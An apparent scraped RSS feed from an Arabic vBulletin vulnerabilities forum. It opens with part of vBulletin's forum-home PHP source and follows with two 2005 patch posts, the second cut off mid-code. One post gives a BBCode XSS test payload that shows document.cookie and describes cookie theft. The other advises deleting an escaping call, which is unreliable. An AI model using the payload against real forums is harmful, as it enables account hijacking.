&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $comma = ', ';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $eventinfo = $eventstore[&quot;$index&quot;];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($pastcount)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $eventdates = construct_phrase($vbphrase['event_x_to_y'], $eventdates, vbdate($vboptions['dateformat'], $pastevent, false, true, false));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($eventinfo['holidayid'])<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $callink = &quot;&lt;a href=\&quot;calendar.php?$session[sessionurl]do=getinfo&amp;amp;day=$day\&quot;&gt;&quot; . $vbphrase['holiday_title_' . $eventinfo['varname']] . &quot;&lt;/a&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $callink = &quot;&lt;a href=\&quot;calendar.php?$session[sessionurl]do=getinfo&amp;amp;day=$day&amp;amp;e=$eventinfo[eventid]&amp;amp;c=$eventinfo[calendarid]\&quot;&gt;$eventinfo[title]&lt;/a&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; // Group by Date<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $eventdate = vbdate($vboptions['dateformat'], $index, false, true, false);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $day = vbdate('Y-n-j', $index, false, false);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach($value AS $key =&gt; $eventid)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $eventinfo = $eventstore[&quot;$eventid&quot;];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($eventinfo['holidayid'])<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $daysevents .= $comma . &quot;&lt;a href=\&quot;calendar.php?$session[sessionurl]do=getinfo&amp;amp;day=$day\&quot;&gt;&quot; . $vbphrase['holiday_title_' . $eventinfo['varname']] . &quot;&lt;/a&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $daysevents .= $comma . &quot;&lt;a href=\&quot;calendar.php?$session[sessionurl]do=getinfo&amp;amp;day=$day&amp;amp;e=$eventinfo[eventid]&amp;amp;c=$eventinfo[calendarid]\&quot;&gt;$eventinfo[title]&lt;/a&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $comma = ', ';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; eval('$upcomingevents .= &quot;' . fetch_template('forumhome_event') . '&quot;;');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // memory saving<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unset($events, $eventstore);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; $show['upcomingevents'] = iif ($upcomingevents, true, false);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $show['todaysevents'] = iif ($vboptions['showevents'] == 1, true, false);<br />
}<br />
else<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $show['upcomingevents'] = false;<br />
}<br />
<br />
// ### LOGGED IN USERS #################################################<br />
$activeusers = '';<br />
if ($vboptions['displayloggedin'])<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $datecut = TIMENOW - $vboptions['cookietimeout'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; $numbervisible = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $numberregistered = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $numberguest = 0;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $forumusers = $DB_site-&gt;query(&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SELECT<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; user.username, (user.options &amp; $_USEROPTIONS[invisible]) AS invisible, user.usergroupid,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; session.userid, session.inforum, session.lastactivity,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IF(displaygroupid=0, user.usergroupid, displaygroupid) AS displaygroupid<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FROM &quot; . TABLE_PREFIX . &quot;session AS session<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LEFT JOIN &quot; . TABLE_PREFIX . &quot;user AS user ON(user.userid = session.userid)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WHERE session.lastactivity &gt; $datecut<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot; . iif($vboptions['displayloggedin'] == 1, &quot;ORDER BY username ASC&quot;) . &quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &quot;);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($bbuserinfo['userid'])<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // fakes the user being online for an initial page view of index.php<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $bbuserinfo['joingroupid'] = iif($bbuserinfo['displaygroupid'], $bbuserinfo['displaygroupid'], $bbuserinfo['usergroupid']);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $userinfos = array<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $bbuserinfo['userid'] =&gt; array<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'userid' =&gt; $bbuserinfo['userid'],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'username' =&gt; $bbuserinfo['username'],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'invisible' =&gt; $bbuserinfo['invisible'],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'inforum' =&gt; 0,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'lastactivity' =&gt; TIMENOW,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'usergroupid' =&gt; $bbuserinfo['usergroupid'],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 'displaygroupid' =&gt; $bbuserinfo['displaygroupid'],<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $userinfos = array();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; $inforum = array();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ($loggedin = $DB_site-&gt;fetch_array($forumusers))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $userid = $loggedin['userid'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!$userid)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; // Guest<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $numberguest++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $inforum[&quot;$loggedin[inforum]&quot;]++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else if (empty($userinfos[&quot;$userid&quot;]) OR ($userinfos[&quot;$userid&quot;]['lastactivity'] &lt; $loggedin['lastactivity']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $userinfos[&quot;$userid&quot;] = $loggedin;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; foreach($userinfos AS $userid =&gt; $loggedin)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $numberregistered++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($userid != $bbuserinfo['userid'])<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $inforum[&quot;$loggedin[inforum]&quot;]++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $loggedin['musername'] = fetch_musername($loggedin);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (fetch_online_status($loggedin))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $numbervisible++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; eval('$activeusers .= &quot;, ' . fetch_template('forumhome_loggedinuser') . '&quot;;');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; // memory saving<br />
&nbsp; &nbsp; &nbsp; &nbsp; unset($userinfos, $loggedin);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $activeusers = substr($activeusers , 2); // get rid of initial comma<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $DB_site-&gt;free_result($loggedins);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $totalonline = $numberregistered + $numberguest;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $numberinvisible = $numberregistered - $numbervisible;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; // ### MAX LOGGEDIN USERS ################################<br />
&nbsp; &nbsp; &nbsp; &nbsp; $maxusers = unserialize($datastore['maxloggedin']);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (intval($maxusers['maxonline']) &lt;= $totalonline)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $maxusers['maxonline'] = $totalonline;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $maxusers['maxonlinedate'] = TIMENOW;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; build_datastore('maxloggedin', serialize($maxusers));<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $recordusers = $maxusers['maxonline'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; $recorddate = vbdate($vboptions['dateformat'], $maxusers['maxonlinedate'], true);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $recordtime = vbdate($vboptions['timeformat'], $maxusers['maxonlinedate']);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $show['loggedinusers'] = true;<br />
}<br />
else<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $show['loggedinusers'] = false;<br />
}<br />
<br />
// ### GET FORUMS &amp; MODERATOR iCACHES ########################<br />
cache_ordered_forums(1);<br />
if ($vboptions['showmoderatorcolumn'])<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; cache_moderators();<br />
}<br />
else<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $imodcache = array();<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mod = array();<br />
}<br />
<br />
// define max depth for forums display based on $vboptions[forumhomedepth]<br />
define('MAXFORUMDEPTH', $vboptions['forumhomedepth']);<br />
<br />
$forumbits = construct_forum_bit($forumid);<br />
<br />
// ### BOARD STATISTICS #################################################<br />
<br />
// get total threads &amp; posts from the forumcache<br />
$totalthreads = 0;<br />
$totalposts = 0;<br />
if (is_array($forumcache))<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; foreach ($forumcache AS $forum)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $totalthreads += $forum['threadcount'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $totalposts += $forum['replycount'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}<br />
$totalthreads = vb_number_format($totalthreads);<br />
$totalposts = vb_number_format($totalposts);<br />
<br />
// get total members and newest member from template<br />
$userstats = unserialize($datastore['userstats']);<br />
$numbermembers = vb_number_format($userstats['numbermembers']);<br />
$newusername = $userstats['newusername'];<br />
$newuserid = $userstats['newuserid'];<br />
<br />
// ### ALL DONE! SPIT OUT THE HTML AND LET'S GET OUTA HERE... ###<br />
<br />
eval('$navbar = &quot;' . fetch_template('navbar') . '&quot;;');<br />
eval('print_output(&quot;' . fetch_template('FORUMHOME') . '&quot;);');</code><hr />
</div></div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11576</guid>
		</item>
		<item>
			<title><![CDATA[[ثغره] بملف الرسائل الخاصه private.php]]></title>
			<link>https://kwety.net/vb/showthread.php?t=11575&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:02:12 GMT</pubDate>
			<description><![CDATA[السلام عليكم 
ثغرة في الرسائل الخاصة 
الاصدارات المصابة vb من 3.0 الى 3.0.9 
جربت على جميع الاصدرات ونجحت الثغرة
المهم 
ترقيع الثغرة 
1- تغيير بملف private.php 
ابحث عن


Code:
---------
$pm['title'] = trim($pm['title']);
---------
و استبدله بالكود التالي 


Code:
---------
$pm['title'] = trim(xss_clean($pm['title']));
---------
ابحث عن الكود


Code:
---------
$pm['title'] = htmlspecialchars_uni($pm['title']);
---------
قم بحذفها فقط

وشكرا]]></description>
			<content:encoded><![CDATA[<div>السلام عليكم <br />
ثغرة في الرسائل الخاصة <br />
الاصدارات المصابة vb من 3.0 الى 3.0.9 <br />
جربت على جميع الاصدرات ونجحت الثغرة<br />
المهم <br />
ترقيع الثغرة <br />
1- تغيير بملف private.php <br />
ابحث عن<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$pm['title'] = trim($pm['title']);</code><hr />
</div>و استبدله بالكود التالي <br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$pm['title'] = trim(xss_clean($pm['title']));</code><hr />
</div>ابحث عن الكود<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$pm['title'] = htmlspecialchars_uni($pm['title']);</code><hr />
</div>قم بحذفها فقط<br />
<br />
وشكرا</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11575</guid>
		</item>
		<item>
			<title>ثغرات في الصنودق السحري والماسي</title>
			<link>https://kwety.net/vb/showthread.php?t=11574&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 13:00:31 GMT</pubDate>
			<description><![CDATA[السلام عليكم

طبعاااااااااا المكتشف::: العندليب

الثغرة من نووووع xss

برضة الترقيع نقلته من العندليب

ابدأأأأأأأأأ

الثغره موجوده في ثلاثة أزرار وهي زر تنسيق القصيده الشعريه وزر إدراج الـ RealPlayer وز الـ FLASH .
والثغره من نوع Cross Site Scripting وذكرت لكم سابقاً أن النوع من هذه الثغرات إذا تحقق سيتم سرقة الكوكيز من جهاز الضحيه وارسالها الى موقع اخر. حينها سيبدأ الهكر باخذ هذه الكوكيز واستخدامها بجهازه والدخول على منتداك من خلالها .

سأذكر لكم طريقة التحقق من وجود إحدى هذه الثغرات بمنتداك وهي ثغرة الفلاش لأن الكل يستخدم الصندوق السحري و الماسي
1- قم بفتح موضوع جديد.
2- أدخل أي عنوان للموضوع. 
3- في نص الموضوع أدخل الكووود التالي :

كود PHP:

[
Code:
---------
flash=http://www.xxxxxx.com/test.swf]onmouseover='alert(document.cookie);'[/flash]
---------
4- إضغط زر مشاهده قبل الأرسال .
5- الان سيظهر لك معاينه للموضوع قبل الارسال وسيظهر فيها صورة الفلاش . قم بتحريك الفأره على صورة الفلاش وشاهد النتيجه . سيظهر لك مربع تنبيه مكتوب بداخله محتويات الكوكيز الخاصه بك .

طيب الحين طريقة ترقيع الثغرة

هذه الطريقه ولا تزعلون 

1- افتح ملف functions_bbcodeparse.php

2- إبحث عن :

كود PHP:


Code:
---------
$bbcodes['custom']['recurse']['highlight'][0] = array('replace_html' => "<span class=\"highlight\">\\7</span>");
---------
3- بعدها قم بإضافة الأسطر التاليه :

كود PHP:



كود


Code:
---------
// For Magic-Box Added By AL3NDALEEB 

$bbcodes['custom']['find']['[poem'] = '#\[poe[m](\s|&quot;|"|\'|)(.*)\\1\](<br>|<br />|\r\n|\n|\r)??(.*)(<br>|<br />|\r\n|\n|\r)??\[/poe[m]\]#esiU'; 
$bbcodes['custom']['replace']['[poem'] = "handle_bbcode_normal('\\4', '\\2', '', 'poem')"; 
$bbcodes['custom']['recurse']['poem'][0] = array('handler' => 'handle_bbcode_normal'); 

$bbcodes['custom']['find']['[frame='] = '#\[frame=(&quot;|"|\'|)([0-9]+)[ ]+([0-9]+)[ ]*\\1\](<br>|<br />|\r\n|\n|\r)??(.*)(<br>|<br />|\r\n|\n|\r)??\[/frame\]#esiU'; 
$bbcodes['custom']['replace']['[frame='] = "handle_bbcode_normal('\\5', '\\2', '\\3', 'frame')"; 
$bbcodes['custom']['recurse']['frame'][0] = array('handler' => 'handle_bbcode_normal'); 

$bbcodes['custom']['find']['[grade='] = '#\[grade(&quot;|"|\'|)(.*)\\1\](<br>|<br />|\r\n|\n|\r)??(.*)(<br>|<br />|\r\n|\n|\r)??\[/grade\]#esiU'; 
$bbcodes['custom']['replace']['[grade='] = "handle_bbcode_normal('\\4', '\\2', '', 'grade')"; 
$bbcodes['custom']['recurse']['grade'][0] = array('handler' => 'handle_bbcode_normal'); 

$bbcodes['custom']['find']['[hr]'] = '#\[hr\]#esiU'; 
$bbcodes['custom']['replace']['[hr]'] = "handle_bbcode_normal('hr', '', '', 'hr')"; 
$bbcodes['custom']['recurse']['hr'][0] = array('handler' => 'handle_bbcode_normal'); 

$bbcodes['custom']['find']['[line]'] = '#\[line\]#esiU'; 
$bbcodes['custom']['replace']['[line]'] = "handle_bbcode_normal('line', '', '', 'hr')"; 
$bbcodes['custom']['recurse']['line'][0] = array('handler' => 'handle_bbcode_normal'); 

$bbcodes['custom']['find']['[flash='] = '#\[flash=(&quot;|"|\'|)(.*)\\1\](width=)\\1([0-9]+)\\1[ ]+(height=)\\1([0-9]+)\\1\[/flash\]#esiU'; 
$bbcodes['custom']['replace']['[flash='] = "handle_bbcode_normal('\\2', '\\4','\\6', 'flash')"; 
$bbcodes['custom']['recurse']['flash'][0] = array('handler' => 'handle_bbcode_normal'); 

$bbcodes['custom']['find']['[flash='] = '#\[flash=(&quot;|"|\'|)(.*)\\1\](height=)\\1([0-9]+)\\1[ ]+(width=)\\1([0-9]+)\\1\[/flash\]#esiU'; 
$bbcodes['custom']['replace']['[flash='] = "handle_bbcode_normal('\\2', '\\6','\\4', 'flash')"; 
$bbcodes['custom']['recurse']['flash'][1] = array('handler' => 'handle_bbcode_normal'); 

